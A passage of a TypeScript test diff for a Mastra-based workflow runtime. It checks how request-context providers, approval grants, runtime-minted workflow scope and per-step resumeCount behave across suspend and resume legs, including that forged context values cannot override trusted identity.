+        id: 'context-writer',
+        description: 'Exercise application context and provider-derived grants',
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+        permissions: { sideEffect: 'write', requiresApproval: true },
+        execute: async (_input, { requestContext }) => {
+          assert(requestContext);
+          seen.push({
+            source: requestContext.get('test.source'),
+            attribution: requestContext.get('app.attribution'),
+            mutationEpoch: requestContext.get('mutationEpoch'),
+            startToken: requestContext.get('startToken'),
+            grants: requestContext.get('breakwater.connectorGrants'),
+          });
+          return {};
+        },
+      });
+      app
+        .createWorkflow({
+          id: 'context-grants',
+          inputSchema: z.object({}),
+          outputSchema: z.object({}),
+        })
+        .then(
+          app.createStep({
+            id: 'first',
+            inputSchema: z.object({}),
+            outputSchema: z.object({}),
+            execute: async ({ requestContext }) =>
+              invokeConnector(writer, {}, { requestContext }),
+          }),
+        )
+        .then(
+          app.createStep({
+            id: 'gate',
+            inputSchema: z.object({}),
+            outputSchema: z.object({}),
+            suspendSchema: z.object({ reason: z.string() }),
+            resumeSchema: z.object({ go: z.boolean() }),
+            execute: async ({ resumeData, suspend, requestContext }) => {
+              if (!resumeData) return suspend({ reason: 'wait' });
+              return invokeConnector(writer, {}, { requestContext });
+            },
+          }),
+        )
+        .commit();
+      return app.runtime;
+    };
+    const before = build();
+    const started = await before.start('context-grants', {
+      runId: 'context-grants-run',
+      inputData: {},
+      requestedBy: 'trusted-requester',
+      requestedByKind: 'human',
+      storedRequestContext: {
+        'test.source': 'stored',
+        'app.attribution': { workspaceId: 'workspace-1' },
+        mutationEpoch: 'application-value',
+        startToken: 'application-token',
+        connectorGrants: [storedGrant],
+        approved: true,
+        'breakwater.connectorGrants': [storedGrant],
+        'flowsafe.runProvenance': { requestedBy: 'forged-requester' },
+      },
+    });
+    expect(started.requestedBy).toBe('trusted-requester');
+    if (mode === 'stored-grants') {
+      expect(started.status).toBe('failed');
+      expect(started.error).toContain(
+        'approval required and no matching structured grant was found',
+      );
+      expect(seen).toEqual([]);
+      expect(provider).toHaveBeenCalledOnce();
+      return;
+    }
+    expect(started.status).toBe('suspended');
+    expect(seen).toEqual([
+      {
+        source: 'provider-start',
+        attribution: { workspaceId: 'workspace-1' },
+        mutationEpoch: 'application-value',
+        startToken: 'application-token',
+        grants: [storedGrant],
+      },
+    ]);
+    const resumed = await build().resume('context-grants', started.runId, {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+    expect(
+      provider.mock.calls.map(([_workflowId, _runId, leg]) => leg.kind),
+    ).toEqual(['start', 'resume']);
+    if (mode === 'provider-revocation') {
+      expect(resumed.status).toBe('failed');
+      expect(resumed.error).toContain(
+        'approval required and no matching structured grant was found',
+      );
+      expect(seen).toHaveLength(1);
+    } else {
+      expect(resumed.status).toBe('success');
+      expect(seen).toHaveLength(2);
+      expect(seen[1]).toEqual({
+        ...seen[0],
+        source: 'provider-resume',
+        grants: [
+          {
+            scope: 'suspension',
+            connectorId: 'context-writer',
+            workflowId: 'context-grants',
+            runId: 'context-grants-run',
+            suspension: {
+              stepPath: ['gate'],
+              suspendedAt: expect.any(Number),
+            },
+          },
+        ],
+      });
+    }
+  });
+
+  it('consults the provider on every start and resume leg', async () => {
+    // #given — a provider that mints a distinct context per consult
+    let calls = 0;
+    const { runtime, seen } = buildContextProbe(() => {
+      calls += 1;
+      return { 'test.a': `mint-${calls}` };
+    });
+
+    // #when
+    const started = await runtime.start('probe', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+    expect(started.status).toBe('suspended');
+    const resumed = await runtime.resume('probe', started.runId, {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+
+    // #then — start leg saw the first mint, resume leg the second: the
+    // provider is re-consulted per leg and the resume-time context is what
+    // the resumed step observes.
+    expect(resumed.status).toBe('success');
+    expect(calls).toBe(2);
+    expect(seen).toEqual([
+      { leg: 'start', a: 'mint-1', b: undefined },
+      { leg: 'resume', a: 'mint-2', b: undefined },
+    ]);
+  });
+
+  it('pins resume-context semantics: the provided context merges over the persisted one', async () => {
+    // #given — start mints {a, b}; resume mints only {a}
+    let leg = 0;
+    const { runtime, seen } = buildContextProbe(() => {
+      leg += 1;
+      return leg === 1
+        ? { 'test.a': 'start-a', 'test.b': 'start-b' }
+        : { 'test.a': 'resume-a' };
+    });
+
+    // #when
+    const started = await runtime.start('probe', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+    await runtime.resume('probe', started.runId, {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+
+    // #then — empirical pin (core 1.49.0): resume-provided keys override,
+    // but persisted start-time keys SURVIVE ('test.b' is still visible).
+    // Consequence: omitting a key at resume does not revoke it — a provider
+    // that needs to withdraw a capability must overwrite the key (e.g. an
+    // empty grant list), not omit it.
+    expect(seen[1]).toEqual({ leg: 'resume', a: 'resume-a', b: 'start-b' });
+  });
+
+  it('propagates a provider failure instead of running without context', async () => {
+    // #given
+    const { runtime } = buildContextProbe(() => {
+      throw new Error('grant store down');
+    });
+
+    // #when / #then
+    await expect(
+      runtime.start('probe', { runId: crypto.randomUUID(), inputData: {} }),
+    ).rejects.toThrow('grant store down');
+  });
+
+  it('passes the execution leg: start, then resume with the explicit step', async () => {
+    // #given
+    const legs: RunLeg[] = [];
+    const { runtime } = buildContextProbe((_workflowId, _runId, leg) => {
+      legs.push(leg);
+      return undefined;
+    });
+
+    // #when
+    const started = await runtime.start('probe', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+    await runtime.resume('probe', started.runId, {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+
+    // #then — string step selections normalize to a path; the leg carries
+    // the step's current suspension timestamp from the snapshot
+    expect(legs).toEqual([
+      { kind: 'start' },
+      { kind: 'resume', step: ['gate'], suspendedAt: expect.any(Number) },
+    ]);
+  });
+
+  it('resolves the resume-leg step from the snapshot when none is selected', async () => {
+    // #given
+    const legs: RunLeg[] = [];
+    const { runtime } = buildContextProbe((_workflowId, _runId, leg) => {
+      legs.push(leg);
+      return undefined;
+    });
+    const started = await runtime.start('probe', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+
+    // #when — no explicit step; 'gate' is the only suspended step
+    await runtime.resume('probe', started.runId, { resumeData: { go: true } });
+
+    // #then
+    expect(legs[1]).toEqual({
+      kind: 'resume',
+      step: ['gate'],
+      suspendedAt: expect.any(Number),
+    });
+  });
+
+  it('mints the workflow-scope key on every leg, even without a provider', async () => {
+    // #given — NO requestContextForRun provider; a step that records the
+    // runtime-minted scope (breakwater's crossWorkflowIsolation reads it)
+    const seen: unknown[] = [];
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    const probe = createStep({
+      id: 'probe',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      execute: async ({ requestContext }) => {
+        seen.push(requestContext.get('breakwater.workflowScope'));
+        return {};
+      },
+    });
+    createWorkflow({
+      id: 'scoped-wf',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(probe)
+      .commit();
+
+    // #when
+    await runtime.start('scoped-wf', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+
+    // #then — the executing workflow's own id, minted by the runtime
+    expect(seen).toEqual(['scoped-wf']);
+  });
+
+  it('does not synthesize breakwater isolation scope from runId prefixes', async () => {
+    // #given — a probe recording both server-minted keys
+    const seen: Array<{ scope: unknown; isolation: unknown }> = [];
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    const probe = createStep({
+      id: 'probe',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      execute: async ({ requestContext }) => {
+        seen.push({
+          scope: requestContext.get('breakwater.workflowScope'),
+          isolation: requestContext.get('breakwater.isolationScope'),
+        });
+        return {};
+      },
+    });
+    createWorkflow({
+      id: 'scoped-wf2',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(probe)
+      .commit();
+
+    // #when — differently shaped opaque run ids
+    await runtime.start('scoped-wf2', { runId: 'acme_r1', inputData: {} });
+    await runtime.start('scoped-wf2', { runId: 'plain-run', inputData: {} });
+    await runtime.start('scoped-wf2', { runId: 'AB_r1', inputData: {} });
+
+    // #then — none becomes an implicit isolation key
+    expect(seen).toEqual([
+      { scope: 'scoped-wf2', isolation: undefined },
+      { scope: 'scoped-wf2', isolation: undefined },
+      { scope: 'scoped-wf2', isolation: undefined },
+    ]);
+  });
+
+  it('does not let a provider override the runtime-minted workflow scope', async () => {
+    // #given — a provider that attempts to override the scope key
+    const seen: unknown[] = [];
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      {
+        startIdempotency: 'none',
+        executionFence: 'none',
+        requestContextForRun: () => ({
+          'breakwater.workflowScope': 'overridden',
+        }),
+      },
+    );
+    const probe = createStep({
+      id: 'probe',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      execute: async ({ requestContext }) => {
+        seen.push(requestContext.get('breakwater.workflowScope'));
+        return {};
+      },
+    });
+    createWorkflow({
+      id: 'scoped-wf',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(probe)
+      .commit();
+
+    // #when
+    await runtime.start('scoped-wf', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+
+    // #then — runtime identity merges over provider values
+    expect(seen).toEqual(['scoped-wf']);
+  });
+
+  it('orders stored context before runtime scope, grants, and trusted identity', async () => {
+    const seen: Array<{ keys: string[]; values: Record<string, unknown> }> = [];
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      {
+        startIdempotency: 'none',
+        executionFence: 'none',
+        requestContextForRun: () => ({
+          stored: 'kept',
+          'breakwater.workflowScope': 'forged-workflow',
+          'breakwater.isolationScope': 'forged-tenant',
+          'breakwater.connectorExecution': { kind: 'start' },
+          'breakwater.connectorGrants': [],
+          'breakwater.principalPermissions': {
+            permissions: ['reports.read'],
+            policyVersion: 'permissions-v1',
+          },
+          runId: 'acme_forged',
+          threadId: 'acme_thread',
+          resourceId: 'acme_resource',
+          'breakwater.actor': { id: 'operator-1', role: 'operator' },
+          'breakwater.auditContext': {
+            agentId: 'writer',
+            entryPath: 'http.start',
+          },
+        }),
+      },
+    );
+    const probe = createStep({
+      id: 'probe',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      execute: async ({ requestContext }) => {
+        seen.push({
+          keys: [...requestContext.keys()],
+          values: requestContext.toJSON(),
+        });
+        return {};
+      },
+    });
+    createWorkflow({
+      id: 'ordered-context',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(probe)
+      .commit();
+
+    await runtime.start('ordered-context', {
+      runId: 'acme_ordered',
+      inputData: {},
+    });
+
+    expect(seen[0]?.keys).toEqual([
+      'stored',
+      'breakwater.workflowScope',
+      'runId',
+      'flowsafe.runProvenance',
+      'breakwater.connectorExecution',
+      'breakwater.connectorGrants',
+      'breakwater.principalPermissions',
+      'threadId',
+      'resourceId',
+      'breakwater.actor',
+      'breakwater.auditContext',
+    ]);
+    expect(seen[0]?.values).toMatchObject({
+      'breakwater.workflowScope': 'ordered-context',
+      // A trusted provider's projection passes through like the grant key —
+      // this is the seam a workflow host uses to authorize its connectors.
+      'breakwater.principalPermissions': {
+        permissions: ['reports.read'],
+        policyVersion: 'permissions-v1',
+      },
+    });
+  });
+
+  it('leaves nothing persisted when the provider fails on start — the runId stays retryable', async () => {
+    // #given — a provider that fails once (e.g. the grant store's D1 is
+    // briefly unreachable), then recovers
+    let failures = 1;
+    const { runtime } = buildContextProbe(() => {
+      if (failures > 0) {
+        failures -= 1;
+        throw new Error('grant store down');
+      }
+      return undefined;
+    });
+
+    // #when — the first start fails BEFORE createRun persists anything
+    await expect(
+      runtime.start('probe', { runId: 'retry-me', inputData: {} }),
+    ).rejects.toThrow('grant store down');
+
+    // #then — no orphaned pending run, and the same runId starts cleanly
+    expect(await runtime.status('probe', 'retry-me')).toBeNull();
+    const retried = await runtime.start('probe', {
+      runId: 'retry-me',
+      inputData: {},
+    });
+    expect(retried.status).toBe('suspended');
+  });
+});
+
+describe('RunnerRuntime resumeCount projection (re-suspension)', () => {
+  // The do-runner OWNS the RunSummary/RunLeg projection, so the layer that
+  // publishes the resumeCount contract must pin it against the real engine.
+  // resumeCount is the categorical signal flowsafe's grant binding depends on
+  // ("undefined on first suspension, defined on re-suspension"); unlike the
+  // informational resumedAt (which Mastra stamps only on a payload-bearing
+  // resume) the runtime increments resumeCount on EVERY resume, so it holds
+  // even for a no-payload re-suspension. gate2x suspends, and re-suspends on a
+  // no-payload resume (round 1) or after a payload resume (round 2).
+  function buildReSuspender(
+    onLeg?: (leg: RunLeg) => void,
+    storage = new InMemoryStore(),
+  ): RunnerRuntime {
+    let rounds = 0;
+    const { createWorkflow, createStep, runtime } = init(
+      { storage },
+      {
+        startIdempotency: 'none',
+        executionFence: 'none',
+        ...(onLeg
+          ? {
+              requestContextForRun: (
+                _workflowId: string,
+                _runId: string,
+                leg: RunLeg,
+              ) => {
+                onLeg(leg);
+                return undefined;
+              },
+            }
+          : {}),
+      },
+    );
+    const gate2x = createStep({
+      id: 'gate2x',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      suspendSchema: z.object({ reason: z.string() }),
+      // No resumeSchema on purpose: with a required schema, core rejects a
+      // no-payload resume before execute, so the falsy-resume re-suspension
+      // (the bug's trigger) is unreachable. Without one, a falsy resume passes
+      // validation and re-suspends via the guard below.
+      execute: async ({ resumeData, suspend }) => {
+        if (!resumeData) return suspend({ reason: 'round 1' });
+        rounds += 1;
+        if (rounds < 2) return suspend({ reason: 'round 2' });
+        return {};
+      },
+    });
+    createWorkflow({
+      id: 'resuspend',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(gate2x)
+      .commit();
+    return runtime;
+  }
+
+  it('omits resumeCount on the first suspension and carries it on a re-suspension', async () => {
+    // #given
+    const runtime = buildReSuspender();
+
+    // #when — first suspension
+    const started = await runtime.start('resuspend', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+
+    // #then — a first suspension carries suspendedAt but NO resumeCount; this
+    // undefined is the categorical tie-breaker the grant binding relies on
+    expect(started.status).toBe('suspended');
+    expect(started.suspendedAt?.gate2x).toBeTypeOf('number');
+    expect(started.resumeCount?.gate2x).toBeUndefined();
+
+    // #when — resume (payload); gate2x runs and re-suspends (round 2)
+    const reSuspended = await runtime.resume('resuspend', started.runId, {
+      step: 'gate2x',
+      resumeData: { go: true },
+    });
+
+    // #then — the re-suspension summary carries resumeCount 1 (one resume so
+    // far); resumedAt is also present here because the resume carried a payload
+    expect(reSuspended.suspended).toEqual([['gate2x']]);
+    expect(reSuspended.resumeCount?.gate2x).toBe(1);
+    expect(reSuspended.suspendedAt?.gate2x).toBeTypeOf('number');
+    expect(reSuspended.resumedAt?.gate2x).toBeTypeOf('number');
+  });
+
+  it('prepares a host from one isolated copy of the trusted resume context', async () => {
+    const legs: RunLeg[] = [];
+    const storage = new InMemoryStore();
+    const runtime = buildReSuspender(
+      (leg) => legs.push(structuredClone(leg)),
+      storage,
+    );
+    const started = await runtime.start('resuspend', {
+      runId: 'acme_resume-context',
+      inputData: {},
+      requestedBy: 'operator-1',
+      requestedByKind: 'human',
+    });
+    legs.length = 0;
+
+    let preparedWorkflowScope: unknown;
+    let preparedIsolationScope: unknown;
+    await runtime.resume('resuspend', started.runId, {
+      step: 'gate2x',
+      resumeData: { go: true },
+      requestedBy: 'reviewer-1',
+      requestedByKind: 'human',
+      prepareExecution: async (context) => {
+        preparedWorkflowScope = context.get('breakwater.workflowScope');
+        preparedIsolationScope = context.get('breakwater.isolationScope');
+        const provenance = context.get('flowsafe.runProvenance') as {
+          requestedBy?: string;
+        };
+        provenance.requestedBy = 'forged';
+        context.clear();
+      },
+    });
+
+    expect(preparedWorkflowScope).toBe('resuspend');
+    expect(preparedIsolationScope).toBeUndefined();
+    expect(legs).toHaveLength(1);
+    expect(legs[0]).toMatchObject({
+      kind: 'resume',
+      step: ['gate2x'],
+    });
+    await expect(
+      runtime.status('resuspend', started.runId),
+    ).resolves.toMatchObject({
+      requestedBy: 'reviewer-1',
+      resumeCount: { gate2x: 1 },
+    });
+  });
+
+  it('carries resumeCount on a NO-PAYLOAD re-suspension even though Mastra omits resumedAt', async () => {
+    // #given — the regression: a falsy resume re-suspends via
+    // `if (!resumeData) return suspend(...)`, so Mastra never stamps resumedAt.
+    const runtime = buildReSuspender();
+    const started = await runtime.start('resuspend', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+
+    // #when — resume with NO resumeData; gate2x re-suspends (round 1 again)
+    const reSuspended = await runtime.resume('resuspend', started.runId, {
+      step: 'gate2x',
+    });
+
+    // #then — resumedAt stays undefined (Mastra's payload-conditional stamp),
+    // but the runtime-owned resumeCount is present, so the grant binding can
+    // still tell this re-suspension apart from the first suspension. Pre-fix
+    // (resumeCount did not exist) this re-suspension was indistinguishable.
+    expect(reSuspended.suspended).toEqual([['gate2x']]);
+    expect(reSuspended.resumedAt?.gate2x).toBeUndefined();
+    expect(reSuspended.resumeCount?.gate2x).toBe(1);
+  });
+
+  it('a required resumeSchema rejects a no-payload resume (why the falsy path needs a schema-less step)', async () => {
+    // Tripwire pinning the Mastra-version-dependent boundary the falsy-resume
+    // fixtures rely on: with a REQUIRED resumeSchema, core validates resume
+    // data and rejects a no-payload resume BEFORE execute, so the falsy-resume
+    // re-suspension (the bug's trigger) is only reachable for schema-less /
+    // optional-schema / validateInputs-off steps. If a Mastra bump changes
+    // this, the "schema-less fixture required" assumption (buildReSuspender,
+    // the relaunch-falsy e2e fixture) goes silently stale.
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    const schemaGate = createStep({
+      id: 'schemaGate',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      suspendSchema: z.object({ reason: z.string() }),
+      resumeSchema: z.object({ go: z.boolean() }),
+      execute: async ({ resumeData, suspend }) => {
+        if (!resumeData) return suspend({ reason: 'awaiting' });
+        return {};
+      },
+    });
+    createWorkflow({
+      id: 'schema-gate',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(schemaGate)
+      .commit();
+    const started = await runtime.start('schema-gate', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+    expect(started.status).toBe('suspended');
+
+    // #when / #then — a no-payload resume is rejected as invalid resume data,
+    // never reaching execute (so it cannot re-suspend without a resumedAt)
+    await expect(
+      runtime.resume('schema-gate', started.runId, { step: 'schemaGate' }),
+    ).rejects.toThrow(/resume data/i);
+  });
+
+  it('passes resumeCount on the resume leg, incrementing per resume', async () => {
+    // #given — a provider recording every leg
+    const legs: RunLeg[] = [];
+    const runtime = buildReSuspender((leg) => legs.push(leg));
+
+    // #when — start (round-1 suspension) then resume, which re-suspends
+    const started = await runtime.start('resuspend', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+    await runtime.resume('resuspend', started.runId, {
+      step: 'gate2x',
+      resumeData: { go: true },
+    });
+
+    // #then — the leg that reattached to the first suspension read snapshot
+    // provenance before any resume, so its resumeCount is undefined
+    expect(legs[1]).toMatchObject({
+      kind: 'resume',
+      step: ['gate2x'],
+      suspendedAt: expect.any(Number),
+    });
+    expect((legs[1] as { resumeCount?: number }).resumeCount).toBeUndefined();
+
+    // #when — resume again, reattaching to the RE-suspension
+    const done = await runtime.resume('resuspend', started.runId, {
+      step: 'gate2x',
+      resumeData: { go: true },
+    });
+
+    // #then — one prior resume happened, so this leg carries resumeCount 1
+    expect(done.status).toBe('success');
+    expect(legs[2]).toMatchObject({
+      kind: 'resume',
+      step: ['gate2x'],
+      suspendedAt: expect.any(Number),
+      resumeCount: 1,
+    });
+  });
+
+  it('marks only the resumed branch, leaving a co-suspended branch a first suspension', async () => {
+    // #given — two parallel gates both suspend; gateA re-suspends on a payload
+    // resume (round 2), gateB stays at its first suspension.
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    let aRounds = 0;
+    const gateA = createStep({
+      id: 'gateA',
+      inputSchema: z.object({}),
+      outputSchema: z.object({ ok: z.boolean() }),
+      suspendSchema: z.object({ reason: z.string() }),
+      resumeSchema: z.object({ go: z.boolean() }),
+      execute: async ({ resumeData, suspend }) => {
+        if (!resumeData) return suspend({ reason: 'A round 1' });
+        aRounds += 1;
+        if (aRounds < 2) return suspend({ reason: 'A round 2' });
+        return { ok: true };
+      },
+    });
+    const gateB = createStep({
+      id: 'gateB',
+      inputSchema: z.object({}),
+      outputSchema: z.object({ ok: z.boolean() }),
+      suspendSchema: z.object({ reason: z.string() }),
+      resumeSchema: z.object({ go: z.boolean() }),
+      execute: async ({ resumeData, suspend }) =>
+        resumeData ? { ok: true } : suspend({ reason: 'B waits' }),
+    });
+    createWorkflow({
+      id: 'parallel-resuspend',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .parallel([gateA, gateB])
+      .commit();
+    const started = await runtime.start('parallel-resuspend', {
+      runId: crypto.randomUUID(),
+      inputData: {},
+    });
+    expect(started.suspended).toHaveLength(2);
+    expect(started.resumeCount?.gateA).toBeUndefined();
+    expect(started.resumeCount?.gateB).toBeUndefined();
+
+    // #when — resume ONLY gateA; it re-suspends (round 2), gateB is untouched
+    const reSuspended = await runtime.resume(
+      'parallel-resuspend',
+      started.runId,
+      { step: 'gateA', resumeData: { go: true } },
+    );
+
+    // #then — gateA carries resumeCount 1 (it was resumed); gateB, never
+    // resumed, stays undefined — its own first suspension, not collapsed into
+    // gateA's ordinal in snapshot provenance.
+    expect(reSuspended.status).toBe('suspended');
+    expect(reSuspended.resumeCount?.gateA).toBe(1);
+    expect(reSuspended.resumeCount?.gateB).toBeUndefined();
+  });
+});
+
+describe('RunnerRuntime resumeCount snapshot provenance (shared runId across workflows)', () => {
+  // Two suspending workflows under DIFFERENT ids on ONE runtime, both driven with
+  // the SAME caller runId. Mastra persists them as distinct runs (snapshots key on
+  // `${workflowName}-${runId}`). wfA completes on its first payload resume;
+  // wfB re-suspends once, so its snapshot retains count 1 while wfA becomes
+  // terminal. Both gates share step id 'gate' to prove each snapshot owns its
+  // own provenance even when caller run ids and inner step keys match.
+  function buildSharedRunIdPair(
+    onLeg?: (workflowId: string, leg: RunLeg) => void,
+  ): RunnerRuntime {
+    let bRounds = 0;
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      {
+        startIdempotency: 'none',
+        executionFence: 'none',
+        ...(onLeg
+          ? {
+              requestContextForRun: (
+                workflowId: string,
+                _runId: string,
+                leg: RunLeg,
+              ) => {
+                onLeg(workflowId, leg);
+                return undefined;
+              },
+            }
+          : {}),
+      },
+    );
+    const gateA = createStep({
+      id: 'gate',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      suspendSchema: z.object({ reason: z.string() }),
+      execute: async ({ resumeData, suspend }) =>
+        resumeData ? {} : suspend({ reason: 'A waits' }),
+    });
+    createWorkflow({
+      id: 'wfA',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(gateA)
+      .commit();
+    const gateB = createStep({
+      id: 'gate',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      suspendSchema: z.object({ reason: z.string() }),
+      execute: async ({ resumeData, suspend }) => {
+        if (!resumeData) return suspend({ reason: 'B round 1' });
+        bRounds += 1;
+        if (bRounds < 2) return suspend({ reason: 'B round 2' });
+        return {};
+      },
+    });
+    createWorkflow({
+      id: 'wfB',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(gateB)
+      .commit();
+    return runtime;
+  }
+
+  it("preserves a sibling run's snapshot provenance when a run sharing its runId reaches terminal status", async () => {
+    // #given — wfA and wfB both suspended under the SAME runId 'shared'
+    const runtime = buildSharedRunIdPair();
+    await runtime.start('wfA', { runId: 'shared', inputData: {} });
+    await runtime.start('wfB', { runId: 'shared', inputData: {} });
+
+    // #given — wfB resumed once, so its snapshot provenance holds gate -> 1
+    const reSuspendedB = await runtime.resume('wfB', 'shared', {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+    expect(reSuspendedB.suspended).toEqual([['gate']]);
+    expect(reSuspendedB.resumeCount?.gate).toBe(1);
+
+    // #when — wfA with the same caller runId resumes to success
+    const doneA = await runtime.resume('wfA', 'shared', {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+    expect(doneA.status).toBe('success');
+
+    // #then — wfB's still-suspended round-2 snapshot keeps resumeCount 1
+    const statusB = await runtime.status('wfB', 'shared');
+    expect(statusB).toMatchObject({
+      status: 'suspended',
+      suspended: [['gate']],
+    });
+    expect(statusB?.resumeCount?.gate).toBe(1);
+  });
+
+  it("reads a run's own snapshot provenance on the resume leg", async () => {
+    // #given — a provider recording (workflowId, leg) for every consult
+    const legs: Array<{ workflowId: string; leg: RunLeg }> = [];
+    const runtime = buildSharedRunIdPair((workflowId, leg) =>
+      legs.push({ workflowId, leg }),
+    );
+    await runtime.start('wfA', { runId: 'shared', inputData: {} });
+    await runtime.start('wfB', { runId: 'shared', inputData: {} });
+
+    // #given — wfB resumed once, bumping the gate ordinal in wfB's snapshot
+    await runtime.resume('wfB', 'shared', {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+
+    // #when — wfA's first resume reads its snapshot provenance before incrementing it
+    await runtime.resume('wfA', 'shared', {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+
+    // #then — wfA never resumed before, so its own snapshot has no gate entry
+    // and the leg's resumeCount is undefined
+    const wfAResumeLeg = legs.find(
+      (e) => e.workflowId === 'wfA' && e.leg.kind === 'resume',
+    )?.leg as { resumeCount?: number } | undefined;
+    expect(wfAResumeLeg).toBeDefined();
+    expect(wfAResumeLeg?.resumeCount).toBeUndefined();
+  });
+
+  // A step that re-suspends on EVERY resume (never completes), so a run stays
+  // suspended at any depth and status() keeps projecting its accumulating
+  // ordinal — the deep-chain (3+ suspension) case the pair-binding relies on.
+  function buildSharedDeepChain(): RunnerRuntime {
+    const { createWorkflow, createStep, runtime } = init(
+      { storage: new InMemoryStore() },
+      { startIdempotency: 'none', executionFence: 'none' },
+    );
+    for (const id of ['wfA', 'wfB']) {
+      const gate = createStep({
+        id: 'gate',
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+        suspendSchema: z.object({ reason: z.string() }),
+        execute: async ({ resumeData, suspend }) =>
+          suspend({ reason: resumeData ? 'again' : 'first' }),
+      });
+      createWorkflow({
+        id,
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+      })
+        .then(gate)
+        .commit();
+    }
+    return runtime;
+  }
+
+  it('accumulates per-workflow resume ordinals independently past depth 1 under a shared runId', async () => {
+    // #given — wfA and wfB both suspended under the SAME runId 'shared'
+    const runtime = buildSharedDeepChain();
+    await runtime.start('wfA', { runId: 'shared', inputData: {} });
+    await runtime.start('wfB', { runId: 'shared', inputData: {} });
+
+    // #when — wfA resumed once (ordinal 1), wfB resumed twice (ordinal 2); both
+    // re-suspend each time, so snapshot provenance must accumulate, not reset to 1
+    await runtime.resume('wfA', 'shared', {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+    await runtime.resume('wfB', 'shared', {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+    await runtime.resume('wfB', 'shared', {
+      step: 'gate',
+      resumeData: { go: true },
+    });
+
+    // #then — each workflow's ordinal is its OWN accumulated count: wfA=1, wfB=2.
+    // A fully shared bucket takes all 3 increments, so both reads see 3; a
+    // get-or-create keyed wrong freezes both at 1 (the deep-chain leak: a round-2
+    // approval minting into round 3).
+    const statusA = await runtime.status('wfA', 'shared');
+    const statusB = await runtime.status('wfB', 'shared');
+    expect(statusA?.resumeCount?.gate).toBe(1);
+    expect(statusB?.resumeCount?.gate).toBe(2);
+  });
+});
+
+describe('RunnerRuntime snapshot provenance durability', () => {
+  function buildDurable(
+    storage: InMemoryStore,
+    onLeg?: (leg: RunLeg) => void,
+    providedContext?: Record<string, unknown>,
+  ): RunnerRuntime {
+    const { createWorkflow, createStep, runtime } = init(
+      { storage },
+      {
+        startIdempotency: 'none',
+        executionFence: 'none',
+        requestContextForRun: (_workflowId, _runId, leg) => {
+          onLeg?.(leg);
+          return providedContext;
+        },
+      },
+    );
+    const gate = createStep({
+      id: 'gate',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      suspendSchema: z.object({ reason: z.string() }),
+      execute: async ({ resumeData, suspend }) =>
+        resumeData ? {} : suspend({ reason: 'wait' }),
+    });
+    createWorkflow({
+      id: 'durable-gate',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+      .then(gate)
+      .commit();
+    return runtime;
+  }
+
+  function buildTerminalRepair(
+    storage: InMemoryStore,
+    requestContextForRun?: RequestContextProvider,
+  ): RunnerRuntime {
+    const { createWorkflow, createStep, runtime } = init(
+      { storage },
+      {
+        startIdempotency: 'none',
+        requestContextForRun,
+        executionFence: 'none',
+      },
+    );
+    const gate = createStep({
+      id: 'gate',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      suspendSchema: z.object({ reason: z.string() }),
+      execute: async ({ resumeData, suspend }) =>
+        resumeData ? {} : suspend({ reason: 'wait' }),
+    });
+    createWorkflow({
+      id: 'terminal-repair',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+      options: {
+        shouldPersistSnapshot: ({ workflowStatus }) =>
+          workflowStatus === 'pending' || workflowStatus === 'suspended',
+      },
+    })
+      .then(gate)
+      .commit();
